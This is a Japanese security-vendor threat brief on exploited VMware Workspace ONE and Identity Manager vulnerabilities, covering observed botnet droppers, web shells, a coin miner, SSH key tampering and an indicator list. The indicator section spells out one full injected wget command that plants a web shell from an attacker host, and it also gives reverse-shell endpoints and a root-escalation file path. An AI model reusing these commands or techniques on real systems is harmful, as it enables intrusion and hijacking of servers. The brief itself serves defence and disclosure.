脅威に関する情報: VMwareの脆弱性(CVE-2022-22954他) 実際の悪用も確認

Threat brief standard image, in this case used for a threat brief on CVE-2022-22954 and other VMware vulnerabilities.

This post is also available in: English (英語)

概要

2022年4月6日、VMwareは8件の脆弱性について言及したセキュリティアドバイザリを公表しました。CVE-2022-22954、CVE-2022-22960をはじめとするこれらの脆弱性は同社のVMware Workspace ONE Access、Identity Manager、vRealize Automationなどの製品に影響します。4月13日に同社はCVE-2022-22954が実地で使用されているとの情報を入手してアドバイザリを更新しています。4月13日に同社はCVE-2022-22954が実地で使用されているとの情報を入手してアドバイザリを更新しています。

4月最終週には上記2つの脆弱性エクスプロイトシナリオを詳述した複数の記事[1][2]が公開され、5月18日には米国サイバーセキュリティ・インフラセキュリティ庁(CISA)によるアラート発報にいたりました。同CISAアラートはCVE-2022-22972とCVE-2022-22973が悪用される可能性が高いとしています。これらの脆弱性は、やはり5月18日に公開されたもので、上記製品を含む一連の製品群(5月23日時点ではVMware Workspace ONE Access (Access)、VMware Identity Manager (vIDM)、VMware vRealize Automation (vRA)、VMware Cloud Foundation、vRealize Suite Lifecycle Managerの5製品がリストされている)に影響を与えます。影響を受ける製品の全リストについてはVmware社のアドバイザリを参照してください。

Unit 42はすでにCVE-2022-22954が実地に悪用されている事例を多数観測しています。本稿は、私たちが観測したアクティビティの背景と、弊社の製品によるこれらアクティビティからの保護について解説します。

本稿で扱う脆弱性 CVE-2022-22954, CVE-2022-22960, CVE-2022-22972, CVE-2022-22973

目次

VMware製品の脆弱性のタイムライン
実際のCVE-2022-22954の悪用
直接のダウンロード
Mirai/Gafgytドロッパースクリプトまたはその亜種
Webシェル
Perl Shellbot
Base64インジェクション
SSH鍵を狙う攻撃
実際のCVE-2022-22960の悪用
結論
IoC

VMwareの脆弱性に関するタイムライン

2022-04-06:
CVE-2022-22954、CVE-2022-22955、CVE-2022-22956、CVE-2022-22957、CVE-2022-22958、CVE-2022-22959、CVE-2022-22960、CVE-2022-22961に関しVMware がアドバイザリVMSA-2022-0011を公開

2022-04-11:
PoC(概念実証コード)がGitHubに公開される。同日 Unit 42が最初のエクスプロイト試行・スキャンアクティビティを観測

2022-04-13:
VMwareがアドバイザリを更新。実地に確認されているCVE-2022-22954のエクスプロイトに関するナレッジを追記

2022-05-18:
CVE-2022-22972、CVE-2022-22973に関するVMwareアドバイザリVMSA-2022-0014が公開される。CISAアラートが発報される

本稿執筆時点ではCVE-22972、CVE-2022-22973のPoCは確認されていません。本稿は新たな発見があり次第更新されます。

実際のCVE-2022-22954の悪用

VMware Workspace ONE Access、VMware Identity Managerにおけるサーバーサイド テンプレート インジェクションに起因するリモートコード実行(RCE)の脆弱性(CVE-2022-22954)は、エクスプロイトが非常に容易(trivial)で、脆弱なデバイスにHTTPリクエストを1つ送るだけで悪用可能です。

Unit 42が観測した同脆弱性を狙うエクスプロイトのうち特筆すべきものを以下にとりあげます。

直接のダウンロード

脆弱なマシンにペイロードをさらにダウンロードさせることを目的とした、特筆すべきインジェクションコマンドは、大まかには以下のように分類できます。

  • Mirai/Gafgytドロッパースクリプトまたはその亜種
  • Webシェル
  • Perl Shellbot
  • コインマイナー
  • スキャン/コールバック

Mirai/Gafgytドロッパースクリプトまたはその亜種

CVE-2022-22954を悪用してマルウェアMiraiの亜種をドロップする事例が複数確認されています。ほとんどの事例でこのエクスプロイトはペイロードのドロップのためだけに使われていて、ペイロード自体にはそこからさらに拡散するためのCVE-2022-22954エクスプロイトが含まれておらず、非特異的なMirai亜種であったり、CVE-2017-17215のような既知のエクスプロイトが含まれていました。

例外はEnemybotです。Enemybotは、Gafgyt/Miraiの両方から少しずつソースコードを拝借して構築されているボットネットで、現在広く蔓延しています。Enemybotを含むエクスプロイトでは、最終的にEnemybotのサンプルをダウンロードし、そのサンプル自体にCVE-2022-22954エクスプロイトを埋め込んで、そこからさらなるエクスプロイトと拡散を図っています。

Webシェル

Webシェルのダウンロードを狙ってこの脆弱性が悪用される様子が確認されています。

  • GETパラメータの値を読み込んでBase64デコードし、結果をClassLoaderで読み込むという基本的実装
  • ほかの脆弱性を悪用する過去のキャンペーンでも使用されていたGodzilla Webシェル

Perl Shellbot

インジェクトされた特定のコマンドにより、難読化されたPerlスクリプトをダウンロードします。スクリプトの難読化を解除すると、IRCサーバーに接続し、実行対象コマンドをリッスンする既知のボットファミリStealth Shellbotの一種であることがわかります。Stealth Shellbotには受信コマンドをもとにさらにHTTPリクエストを行う機能が備わっています。つまり感染したマシンは、コマンド&コントロール(C2)サーバーから受け取ったシェルコマンドを直接実行するだけでなく、さらにスキャンやエクスプロイトなどのアクティビティを指示される可能性があります。

IoC(侵害指標)をまとめた一覧を本稿末尾に記載します。

Base64インジェクション

CVE-2022-22954のエクスプロイト試行に関連したBase64インジェクションのサンプルも観測されました。コードはecho文で始まっています。
図1. 実際に観測されたBase64インジェクションの例
CVE-2022-22954のエクスプロイト試行に関連したBase64インジェクションのサンプルも観測されました。コードはecho文で始まっています。
図2 実際に観測されたBase64インジェクションの例
CVE-2022-22954のエクスプロイト試行に関連してBase64インジェクションのサンプルが実地で利用されている様子が観測されました。こちらは「curl hxxp」で始まっています。
図3. 実際に観測されたBase64インジェクションの例

この最後のコマンドはシェルスクリプトを1つダウンロードし、そのシェルスクリプトが最終的にXMRigコインマイナーをダウンロードして実行します。

SSH鍵を狙う攻撃

このほかには、インジェクトされたペイロードが脆弱なマシン上の認可済みSSH鍵を読み取ろうとしたり、対象マシンの認可する鍵の一覧に鍵を追加しようとauthorized_keysファイルへの書き込みを行う事例も確認されています。以下がその一例です。

インジェクトされたペイロードが認可された鍵を操作しようとした例mkdir%20で始まるコード
図4. インジェクトされたペイロードが認可された鍵を操作しようとした例

実際のCVE-2022-22960の悪用

CVE-2022-22960はサポートスクリプトのパーミッションが不適切であることに起因する特権昇格の脆弱性で、VMware Workspace ONE Access、Identity Manager、vRealize Automationインスタンスに影響します。この脆弱性を悪用すると脆弱なインスタンス上でrootユーザーとしてコマンドを実行可能になります。

具体的には、これらのVMware製品用のデフォルトユーザー「horizon」は複数のsudoコマンドにアクセス可能で、それらsudoコマンドのなかにパスの書き換えが可能なものが混じっていることがこの脆弱性の要因となっています。

つまり攻撃者はCVE-2022-22954を悪用してリモートから特定パスを上書きするコマンドを実行し、それに成功したら今度はCVE-2022-22960を悪用してsudoコマンドを使ってroot 権限で上書きされたパスを実行できます。

CVE-2022-22960を悪用する公知のサンプルとしては、/usr/local/horizon/scripts/publishCaCert.hznファイルを上書きするものが調査により確認されています。

私たちが観測したエクスプロイトファイルは以下のような内容でした。 

実際のCVE-2022-22960エクスプロイト試行サンプルコードスニペットは sudo /usr/local/horizon/scripts/publishCaCert.hzn で始まっている
図5. 実際のCVE-2022-22960エクスプロイト試行サンプル

べつのPoCサンプルが追加されました。標的は以下2つのファイルパスです。
/opt/vmware/certproxy/bin/certproxyService.sh
/usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn

結論

パロアルトネットワークスは先にあげた脆弱性について今現在も積極的に調査を継続しています。これらの多くにはまだ公知のエクスプロイトコードが確認されていません。今現在弊社のお客様は、本稿でお伝えした脅威のブロックと検出に以下の対策を利用可能です。

次世代ファイアウォール製品(NGFW)の脅威防御はシグネチャ92483でCVE-2022-22954のエクスプロイトをブロックします。

Cortex Xpanseはインターネットに直接接続されているVMware Workspace ONE Accessインスタンスをこれまでに800台特定しています。またお客様のネットワーク内に存在する潜在的に脆弱なインスタンスについても列挙可能です。

WildFireCortex XDRはサポートするファイルタイプのサンプルをすべてマルウェアに分類します。

またこれまでに確認されているURLはすべてAdvanced URL FilteringのURLデータベース「PAN-DB」によりマルウェアとしてフラグが立てられます。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、infojapan@paloaltonetworks.com まで電子メールにてご連絡いただくか、下記の電話番号までお問い合わせください(ご相談は弊社製品のお客様には限定されません)。

  • 北米フリーダイヤル: 866.486.4842 (866.4.UNIT42)
  • 欧州: +31.20.299.3130
  • アジア太平洋: +65.6983.8730
  • 日本: +81.50.1790.0200

さらなる情報または検出が行われた場合、パロアルトネットワークスは本書を適宜更新します。

パロアルトネットワークスはファイルサンプルや侵害の兆候などをふくむこれらの調査結果をCyber Threat Alliance (CTA サイバー脅威アライアンス) のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。詳細については Cyber Threat Alliance からご覧ください。

IoC

Mirai/Gafgytドロッパースクリプトまたはその亜種

  • hxxp://51[.]81.133.91/FKKK/NW_BBB.x86
  • hxxp://198[.]46.189.105:80/Ugliest.x86
  • hxxp://135[.]148.91.146:1980/bins.sh
  • hxxp://80[.]94.92.38/folder/enemybotarm64/
  • hxxp://80[.]94.92.38/folder/enemybotx86/
  • hxxp://80[.]94.92.38/folder/enemybotx64/

Perl Shellbot

  • 193[.]56.28.202/.d/bot.v
  • 193[.]56.28.202/.d/bot.redis
  • 193[.]56.28.202/.d/botVNC

コインマイナーアクティビティ

  • hxxp://185[.]157.160.214/xms
  • hxxp://103[.]64.13.51:8452/cnm
  • hxxp://113[.]185.0.244/wls-wsat/root

Webシェルのダウンロード(インジェクトされたコマンド全体)

  • wget%20-O%20/opt/vmware/horizon/workspace/webapps/ROOT/error/report1.jsp%20hxxp://103[.]43.18.15:8089/13.jsp

コールバック/スキャンアクティビティ

  • hxxps://enlib2w9g8mze[.]x.pipedream.net

分析時点ですでにペイロードが利用不可になっていた直接ダウンロード用のエクスプロイト

  • hxxp://106[.]246.224.219/one
  • /dev/tcp/101[.]42.89.186/1234
  • hxxp://192[.]3.1.223/favicon.ico
  • hxxp://20[.]205.61.88/payllll.sh
  • 45[.]149.77.39:80
  • hxxps://tmpfiles[.]org/dl/262822/a.txt
  • hxxps://tmpfiles[.]org/dl/266116/vmware_log.jsp
  • hxxps://tmpfiles[.]org/dl/262853/vmware_log.jsp
  • hxxps://tmpfiles[.]org/dl/265385/xmrigdaemon
  • hxxps://tmpfiles[.]org/dl/265351/shell.py
  • hxxps://tmpfiles[.]org/dl/265326/cmd.jsp
  • hxxp://107[.]191.43.86/start
  • hxxp://107[.]148.13.247/4file
  • hxxp://107[.]148.13.247/error.txt
  • hxxp://107[.]148.13.247:7777/file
  • hxxp://107[.]148.12.162:12345/log
  • hxxp://45[.]144.179.204:9999/log
  • /dev/tcp/193[.]56.28.202/443
  • /dev/tcp/193[.]56.28.202/444
  • hxxps://129[.]226.227.246/help.txt
  • hxxps://20[.]232.97.189/up/4102909932.sh
  • hxxps://20[.]232.97.189/up/d1bea27b13.sh
  • hxxps://20[.]232.97.189/up/388e6567d5.sh
  • hxxp://138[.]68.61.82:444

サンプルのハッシュ

801b23bffa65facee1da69bc6f72f8e1e4e1aeefc63dfd3a99b238d4f9d0a637
6d403c3fc246d6d493a6f4acc18c1c292f710db6ad9c3ea2ff065595c5ad3c5b
940a674cfe8179b2b8964bf408037e0e5a5ab7e47354fe4fa7a9289732e1f1b8
fdc94d0dedf6e53dd435d2b5eacb4c34923fadee50529db6f3de38c71f325e05
85143ecc41fb6aadd822ed2d6f20c721a83ae1088f406f29b8b0b05459053a03

bot.v
0b4b25fab4c922e752e689111f38957e0402fd83f6b1d69e8f43c6f4b68fc1ba
C2サーバー : 5[.]39.217.212:80
チャンネル :#vcenter getsome

bot.redis
48628ca95608a015f47506eb1dc6fad0cd04a4cf5d44fdb8f10255fe0aa3c29b
C2サーバー : 64[.]32.6.143:80
チャンネル :#redis getsome

botVNC
c399b56e1baf063ca2c8aadbbe4a2b58141916aac8ef790a9c29762ed1956bd5
C2サーバー : 5[.]39.217.212:80
チャンネル :#D getsome

7e29615126585b9f87ded09cfae4724bb5d7896c7daf2adfcef775924549e49b

099ac2f3e10346dbef472b2a7b443ebfe1f6011a9a2518a54c20aad07fe9ec61

2022-05-23 09:00 JST 英語版更新日 2022-05-20 11:00 PDT の内容を反映
2022-05-24 17:30 JST 英語版更新日 2022-05-23 13:00 PDT の内容を反映